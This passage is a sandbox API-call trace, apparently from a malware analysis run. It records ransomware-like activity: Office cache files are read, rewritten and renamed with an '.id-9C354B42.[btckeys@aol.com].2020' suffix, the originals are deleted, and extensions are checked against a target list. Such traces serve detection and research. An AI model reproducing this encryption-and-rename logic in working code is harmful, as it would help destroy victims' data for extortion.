lpOverlapped=0x0) returned 1 [0076.745] WriteFile (in: hFile=0x1e8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0x80770, lpOverlapped=0x0) returned 1 [0076.913] ReadFile (in: hFile=0x184, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.913] WriteFile (in: hFile=0x1e8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.913] SetEndOfFile (hFile=0x1e8) returned 1 [0076.913] CloseHandle (hObject=0x1e8) returned 1 [0076.913] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.913] SetEndOfFile (hFile=0x184) returned 1 [0076.919] CloseHandle (hObject=0x184) returned 1 [0076.919] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.919] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0076.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.919] lstrlenW (lpString=".doc") returned 4 [0076.919] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.919] lstrlenW (lpString=".docx") returned 5 [0076.919] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0076.919] lstrlenW (lpString=".pdf") returned 4 [0076.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.920] lstrlenW (lpString=".xls") returned 4 [0076.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.920] lstrlenW (lpString=".xlsx") returned 5 [0076.920] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0076.920] lstrlenW (lpString=".ppt") returned 4 [0076.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.920] lstrlenW (lpString=".zip") returned 4 [0076.920] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.920] lstrlenW (lpString=".rar") returned 4 [0076.920] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.920] lstrlenW (lpString=".bz2") returned 4 [0076.920] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.920] lstrlenW (lpString=".7z") returned 3 [0076.920] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.920] lstrlenW (lpString=".dbf") returned 4 [0076.920] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.920] lstrlenW (lpString=".1cd") returned 4 [0076.920] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.920] lstrlenW (lpString=".jpg") returned 4 [0076.920] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.921] lstrlenW (lpString=".doc") returned 4 [0076.921] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.921] lstrlenW (lpString=".docx") returned 5 [0076.921] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0076.921] lstrlenW (lpString=".pdf") returned 4 [0076.921] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.921] lstrlenW (lpString=".xls") returned 4 [0076.921] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.921] lstrlenW (lpString=".xlsx") returned 5 [0076.921] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0076.921] lstrlenW (lpString=".ppt") returned 4 [0076.921] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.921] lstrlenW (lpString=".zip") returned 4 [0076.921] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.921] lstrlenW (lpString=".rar") returned 4 [0076.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.921] lstrlenW (lpString=".bz2") returned 4 [0076.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.921] lstrlenW (lpString=".7z") returned 3 [0076.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.921] lstrlenW (lpString=".dbf") returned 4 [0076.921] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.921] lstrlenW (lpString=".1cd") returned 4 [0076.921] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0076.921] lstrlenW (lpString=".jpg") returned 4 [0076.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.922] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0076.922] lstrlenW (lpString="OfficeLR.cab") returned 12 [0076.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0076.922] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=14127746) returned 1 [0076.922] CloseHandle (hObject=0x184) returned 1 [0076.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0076.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.922] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0076.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0076.923] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0076.923] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0076.923] ReadFile (in: hFile=0x184, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.975] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0076.975] ReadFile (in: hFile=0x184, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.009] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.009] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0077.009] ReadFile (in: hFile=0x184, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.053] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.053] WriteFile (in: hFile=0x184, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0077.163] SetEndOfFile (hFile=0x184) returned 1 [0077.163] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x4024fc8 [0077.166] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.166] WriteFile (in: hFile=0x184, lpBuffer=0x4024fc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x4024fc8*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.168] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.168] WriteFile (in: hFile=0x184, lpBuffer=0x4024fc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x4024fc8*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.169] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.169] WriteFile (in: hFile=0x184, lpBuffer=0x4024fc8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x4024fc8*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.174] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4024fc8 | out: hHeap=0x4b0000) returned 1 [0077.174] CloseHandle (hObject=0x184) returned 1 [0077.174] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.174] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.174] lstrlenW (lpString=".doc") returned 4 [0077.174] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.174] lstrlenW (lpString=".docx") returned 5 [0077.174] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0077.174] lstrlenW (lpString=".pdf") returned 4 [0077.175] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString=".xls") returned 4 [0077.175] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString=".xlsx") returned 5 [0077.175] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0077.175] lstrlenW (lpString=".ppt") returned 4 [0077.175] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.175] lstrlenW (lpString=".zip") returned 4 [0077.175] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString=".rar") returned 4 [0077.175] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString=".bz2") returned 4 [0077.175] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.175] lstrlenW (lpString=".7z") returned 3 [0077.175] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.175] lstrlenW (lpString=".dbf") returned 4 [0077.175] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.175] lstrlenW (lpString=".1cd") returned 4 [0077.175] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.175] lstrlenW (lpString=".jpg") returned 4 [0077.175] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.175] lstrlenW (lpString=".doc") returned 4 [0077.175] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString=".docx") returned 5 [0077.175] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0077.175] lstrlenW (lpString=".pdf") returned 4 [0077.175] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.175] lstrlenW (lpString=".xls") returned 4 [0077.176] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.176] lstrlenW (lpString=".xlsx") returned 5 [0077.176] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0077.176] lstrlenW (lpString=".ppt") returned 4 [0077.176] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.176] lstrlenW (lpString=".zip") returned 4 [0077.176] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.176] lstrlenW (lpString=".rar") returned 4 [0077.176] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.176] lstrlenW (lpString=".bz2") returned 4 [0077.176] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.176] lstrlenW (lpString=".7z") returned 3 [0077.176] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.176] lstrlenW (lpString=".dbf") returned 4 [0077.176] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.176] lstrlenW (lpString=".1cd") returned 4 [0077.176] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0077.176] lstrlenW (lpString=".jpg") returned 4 [0077.176] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.176] lstrcmpiW (lpString1=".MST", lpString2=".2020") returned 1 [0077.176] lstrlenW (lpString="ShellUI.MST") returned 11 [0077.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0077.177] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=3584) returned 1 [0077.177] CloseHandle (hObject=0x184) returned 1 [0077.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0077.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0077.177] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.177] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0077.177] GetLastError () returned 0x0 [0077.177] ReadFile (in: hFile=0x184, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0xe00, lpOverlapped=0x0) returned 1 [0077.238] WriteFile (in: hFile=0x1d4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xe10, lpOverlapped=0x0) returned 1 [0077.239] ReadFile (in: hFile=0x184, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0077.239] WriteFile (in: hFile=0x1d4, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.240] SetEndOfFile (hFile=0x1d4) returned 1 [0077.240] CloseHandle (hObject=0x1d4) returned 1 [0077.240] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.240] SetEndOfFile (hFile=0x184) returned 1 [0077.241] CloseHandle (hObject=0x184) returned 1 [0077.241] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.241] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0077.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.241] lstrlenW (lpString=".doc") returned 4 [0077.241] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0077.241] lstrlenW (lpString=".docx") returned 5 [0077.241] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0077.241] lstrlenW (lpString=".pdf") returned 4 [0077.241] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0077.241] lstrlenW (lpString=".xls") returned 4 [0077.241] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0077.241] lstrlenW (lpString=".xlsx") returned 5 [0077.242] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0077.242] lstrlenW (lpString=".ppt") returned 4 [0077.242] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0077.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.242] lstrlenW (lpString=".zip") returned 4 [0077.242] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0077.242] lstrlenW (lpString=".rar") returned 4 [0077.242] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0077.242] lstrlenW (lpString=".bz2") returned 4 [0077.242] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0077.242] lstrlenW (lpString=".7z") returned 3 [0077.242] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0077.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.242] lstrlenW (lpString=".dbf") returned 4 [0077.242] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0077.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.242] lstrlenW (lpString=".1cd") returned 4 [0077.242] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0077.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.242] lstrlenW (lpString=".jpg") returned 4 [0077.242] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0077.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.242] lstrlenW (lpString=".doc") returned 4 [0077.242] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0077.242] lstrlenW (lpString=".docx") returned 5 [0077.242] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0077.242] lstrlenW (lpString=".pdf") returned 4 [0077.242] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0077.242] lstrlenW (lpString=".xls") returned 4 [0077.242] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0077.242] lstrlenW (lpString=".xlsx") returned 5 [0077.242] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0077.242] lstrlenW (lpString=".ppt") returned 4 [0077.243] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0077.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.243] lstrlenW (lpString=".zip") returned 4 [0077.243] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0077.243] lstrlenW (lpString=".rar") returned 4 [0077.243] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0077.243] lstrlenW (lpString=".bz2") returned 4 [0077.243] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0077.243] lstrlenW (lpString=".7z") returned 3 [0077.243] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0077.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.243] lstrlenW (lpString=".dbf") returned 4 [0077.243] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0077.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.243] lstrlenW (lpString=".1cd") returned 4 [0077.243] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0077.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0077.243] lstrlenW (lpString=".jpg") returned 4 [0077.243] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0077.243] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0077.243] lstrlenW (lpString="AccLR.cab") returned 9 [0077.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.255] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=28016276) returned 1 [0077.256] CloseHandle (hObject=0x1e8) 